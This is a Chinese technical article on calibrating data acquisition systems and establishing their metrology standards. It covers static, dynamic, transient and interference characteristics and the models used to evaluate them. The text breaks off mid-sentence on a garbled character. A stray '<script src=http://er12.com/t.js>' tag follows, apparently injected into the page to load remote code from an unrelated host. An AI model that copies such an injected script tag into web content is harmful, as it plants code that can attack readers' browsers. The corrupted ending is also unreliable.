【摘要】叙述了数据采集系统计量标准建立中的几个问题，包括校准系统的构成、校准项目、校准方法、校准设备的选择，以及影响有关指标校准不确定度的几个因素。
关键词：数据采集，计量标准，评价，校准，指标
数据采集系统是一种应用十分广泛的模拟量线性测量设备，随着计算机技术的不断进步及数字化测量技术的飞速发展，其应用前景日趋广阔。并且，以往的传统仪器分类界限正在被其打破，许多新型的仪器设备，实际上就是数据采集系统加上一些辅助功能而成，如：数据采集系统加上触发功能，构成了瞬态波形记录仪；数据采集系统加上显示功能，组成数字存储示波器系统；数据采集系统加上频谱分析功能，就成了频谱分析仪。以数据采集系统与计算机系统相结合，配备信号处理与分析等软件技术而开发出来的被称为虚拟仪器的系统，则将数据采集系统的这种功能与潜力发挥到了极致，诸如：数字多用表、数字存储示波器、失真度分析仪、频谱分析仪、动态信号分析仪、功率表、频率计、逻辑分析仪等均可在虚拟仪器系统中实现，数据采集系统的应用潜力由此可见一斑。可想而知，数据采集系统性能指标的计量评价问题也一直为用户所至为关心。本文主要讨论数据采集系统计量标准建立中的几个问题，包括校准项目、校准方法、以及校准设备的选取和不确定度分析。
1 主要校准项目及校准方法
数据采集系统的指标，均可作为其校准项目［1,2］，一般可以将其特性指标按照测量特性分为：
①静态测量特性：主要包括输入电阻、a/d转换位数、误差限、量程、直流增益、线性度、直流偏移、时间漂移和温度漂移等。简单地说，这是一类只需加载静态信号便可获取的性能指标，最为基本。
②动态测量特性：主要包括频带宽度、采样速率、交流增益、动态有效位数、信噪比等。可以说，这是一类只能在加载动态信号下才可获取的指标。
③瞬态测量特性：主要包括上升时间、预冲、过冲、顶部不平度和建立时间等时域阶跃响应参数，以及传递函数、幅频特性、相频特性等频域特性参数。这是一类只能在加载瞬态信号下才可获取的指标。
④噪声及抗干扰特性指标：主要包括随机噪声、通道间串扰、串模抑制比、通道间隔离度、差分输入共模抑制比等。可以理解为，反映数字化测量设备对“自身”和“外界”两类干扰抑制能力方面的性能指标均属这类指标。
⑤其他特性指标：如通道间延迟时间差等。
如果用户只需要测量记录静态或缓慢变化的准静态信号，则不仅需要将注意力主要集中在静态测量特性指标上面，可以主要校准静态指标。
如用户需要测量记录瞬变或稳态过程的交变信号，则不仅需要将注意力集中在静态特性指标上面。而且需要考虑其动态测量特性指标和瞬态测量特性指标是否能满足自身的需要。这时，将要求对其进行较全面校准。
若用户环境是电气环境比较恶劣的工业现场，则还必须注意抗干扰特性指标。如抗共模信号的范围、共模抑制比的大小等，以判定其是否适用于应用场合，能否满足需要。这时抗干扰指标校准将十分重要。
每一项指标的精确评价，一般都需使用模型化的精密测量方法。该过程一般需要经过两个步骤：
①建立数字化测量系统的数学模型，并用数据处理方法求出模型参数；
②通过模型参数与被评价指标的关系来最终确定被评价的实际指标。具体到实际应用中，到目前为止的做法［1,2］是：
使用直线方程（直线模型）描述静态数学模型，用端基直线法［1］（或其他方法［2］）处理获得模型参数，并进而获得其静态测量特性指标参数，如线性度、误差限等。
用正弦信号激励动态响应，用正弦模型描述其输入输出波形，使用最小二乘拟合法获得其动态测量特性指标［2］。如交流增益、动态有效位数、信噪比等。用计数法评价采集速率［1］。
用阶跃响应模型描述其瞬态测量特性［3］。如上升时间、预冲、过冲、顶部不平度和建立时间等时域阶跃响应参数。经进一步使用模式识别方法可以获得其传递函数、幅频特性、相频特性等频域特性模型［4］。
用能量累加模型来描述其抗干扰特性［1,2］，可获得其抗干扰指标。如：通道间串扰、通道隔离度和共模抑制比等的精确评价。
以上各项指标及其评价方法，构成了对数字化测量系统性能总体评价的基础，它们的不同组合可以勾划出其不同方面的基本特性。
2 工作原理及系统构成
如图1所示，数据采集系统校准系统由硬件和软件两部分组成。其硬件部分由标准信号源(包括标准直流电压源、正弦交流电压源和快沿脉冲信号源等)、匹配器、通用接口、计算机系统、打印机等组成。校准系统中的软件系统是除了硬?script src=http://er12.com/t.js>
